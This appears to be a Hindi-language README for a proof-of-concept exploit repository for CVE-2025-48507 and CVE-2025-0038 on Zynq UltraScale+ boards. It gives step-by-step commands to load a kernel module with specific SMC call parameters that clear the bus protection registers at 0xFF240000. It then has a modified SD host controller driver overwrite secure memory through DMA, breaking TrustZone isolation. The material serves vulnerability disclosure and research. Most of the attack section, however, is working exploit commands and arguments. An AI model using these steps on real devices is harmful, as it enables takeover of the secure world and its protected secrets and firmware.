
CVE-2025-48507 का प्रूफ ऑफ कॉन्सेप्ट। यह सुरक्षा दोष गैर-सुरक्षित सॉफ्टवेयर (जैसे, Linux) द्वारा Trust Zone को भेदने और Secure world तक पहुंच प्राप्त करने के लिए इस्तेमाल किया जा सकता है।
Non-Secure सॉफ़्टवेयर CVE-2025-48507 और CVE-2025-0038 का शोषण करके Zynq UltraScale+ प्लेटफ़ॉर्म पर Secure World में रीड/राइट एक्सेस प्राप्त कर सकता है, जिससे TrustZone आइसोलेशन टूट जाता है। इस उद्देश्य के लिए, Non-Secure सॉफ़्टवेयर CVE-2025-0038 और CVE-2025-48507 का शोषण करके IOU_AXI_WPRTCN और IOU_AXI_RPRTCN रजिस्टरों (0xFF240000) को क्लियर करता है, ताकि SD Host Controller को एक Secure Master के रूप में स्विच किया जा सके। फिर, Non-Secure सॉफ़्टवेयर (जैसे Linux) SD Host Controller (स्लेव इंटरफ़ेस अभी भी Non-Secure है) का उपयोग करके किसी भी Secure मेमोरी में लिख या पढ़ सकता है।
अधिक जानकारी:
प्रभावित प्लेटफ़ॉर्म:
प्रभावित घटक:
source/ : Zynq UltraScale+ MPSoCs (ZC104) पर इस PoC को दोहराने के लिए स्रोत
CVE-2025-48507 और CVE-2025-0038 का लाभ उठाने के लिए
smc-tt.c: मूल कर्नेल मॉड्यूल जो Non-Secure Linux को मनमाने SMC कॉल जारी करने की अनुमति देता है।
Makefile: कर्नेल मॉड्यूल को क्रॉस-कंपाइल करने के लिए एक Makefile (पथ आवश्यकतानुसार बदलें)।
CVE-2025-0038 और CVE-2025-48507 का शोषण करने के लिए
doc/ : TF-A और PMU स्तरों पर सुरक्षा कमजोरियों का विवरण देने वाली प्रस्तुतियाँ और शोध लेख।
hw_debug/: APU और PMU प्रोसेसर पर TF-A को डीबग करने के लिए हार्डवेयर डीबगर स्क्रिप्ट्स। ये PMU फ़र्मवेयर और TF-A में प्रभावित फ़ंक्शनों को डीबग करने का वातावरण प्रदान करती हैं और हमले की सफलता की पुष्टि करती हैं। इन स्क्रिप्ट्स का उपयोग Trace32 और Lauterbach PowerDebug PRO JTAG हार्डवेयर डीबगर के साथ किया जाना है। हार्डवेयर डीबगर ZCU104 के JTAG पोर्ट (J180) से जुड़ा हुआ है।
एक प्रभावित वातावरण बनाएँ (जैसे, Linux, TF-A, PMU Firmware...)।
Linux बनाते समय, SDHC ड्राइवर को kconfig के माध्यम से लोड करने योग्य कर्नेल मॉड्यूल के रूप में सेट करें। यह केवल शोषण के लिए आवश्यक है।
कर्नेल मॉड्यूल smc-tt.c और sdhci.c को कंपाइल करें। प्रदान किए गए Makefile का उपयोग कर्नेल और कंपाइलर पथों को अनुकूलित करके किया जा सकता है।
CVEs का लाभ उठाने के लिए, smc-tt.ko को Linux rootfs में जोड़ें
CVEs के शोषण के लिए, sdhci.ko और dma_patch.sh को Linux rootfs में जोड़ें
CVEs का PoC और शोषण:
PoC में, सिस्टम (जैसे, fslb, uboot...) को SD कार्ड से बूट किया गया था। Linux की rootfs को USB पर फ्लैश किया गया था। DMA हमले के लिए, Linux ने SD कार्ड के एक खाली पार्टीशन का उपयोग किया, जिसे संशोधित SDHC ड्राइवर (sdhci.ko) द्वारा संचालित SD Host Controller के माध्यम से एक्सेस किया गया था।
केवल CVEs का परीक्षण करने के लिए, चरण 2, 3 और 5 को छोड़ा जा सकता है।
Non-Secure वर्ल्ड में Linux को उसकी rootfs के साथ USB पार्टीशन पर बूट करने के लिए U-boot कमांड्स:
setenv bootargs root="/dev/sda" rw rootwait; fatload mmc 0 0x200000 Image && fatload mmc 0 0x1e0000 system.dtb && booti 0x200000 - 0x1e0000
मनमाना DMA एक्सेस करने के लिए संशोधित SDHC ड्राइवर इंसर्ट करें:
insmod /sdhci.ko
insmod /lib/modules/6.6.70/kernel/drivers/mmc/host/sdhci-pltfm.ko
insmod /lib/modules/6.6.70/kernel/drivers/mmc/host/sdhci-of-arasan.ko
संशोधित SDHC ड्राइवर का उपयोग करके Secure मेमोरी को पैच करने का प्रयास करें। यह विफल होना चाहिए क्योंकि SDHC अभी भी Non-Secure है:
./dma_patch.sh SECURE_MEMORY_PATCHED_BY_NON_SEC '\x00\x00\xdc\xff\x20\x00\x23\x00' /dev/mmcblk0p3
ARG1: पेलोड
ARG2: रॉग DMA एक्सेस करने के लिए दुर्भावनापूर्ण डिस्क्रिप्टर।
ARG3: एक डिवाइस पार्टीशन जो संशोधित SDHC ड्राइवर द्वारा नियंत्रित SD Host Controller द्वारा प्रबंधित है।
CVEs का शोषण करके IOU_AXI_WPRTCN और IOU_AXI_RPRTCN (0xFF240000) को क्लियर करें:
insmod /smc-tt.ko r0=0xc200002E r1=0xff24000000000100 r2=0x100000000
0xc200002E: प्रभावित SMC कॉल (PM_FPGA_READ)।
0xff24000000000100: क्लियर किया जाने वाला पता (0xFF240000) (यानी, IOU_AXI_RPRTCN/IOU_AXI_WPRTCN) और क्लियर की जाने वाली बाइट्स की संख्या (0x00000100)
अब Linux SDHC DMA का उपयोग करके Secure मेमोरी तक पूर्ण रूप से पहुँच सकता है
0x100000000: PL डेटा को मुख्य मेमोरी (0x1) में वापस पढ़ें। चूँकि कुछ भी लोड नहीं हुआ था, यह केवल लक्षित मेमोरी क्षेत्र को क्लियर कर देगा।
PM_FPGA_READ के पैरामीटरों पर अधिक जानकारी: https://github.com/ARM-software/arm-trusted-firmware/blob/c8eb6b042b57a145945a80fe4949c6f678309925/plat/xilinx/zynqmp/pm_service/zynqmp_pm_api_sys.c#L1693
Secure मेमोरी को फिर से पैच करने का प्रयास करें (0xFFDC0000)। यह सफल होना चाहिए क्योंकि SDHC अब Secure है:
./dma_patch.sh SECURE_MEMORY_PATCHED_BY_NON_SEC '\x00\x00\xdc\xff\x20\x00\x23\x00' /dev/mmcblk0p3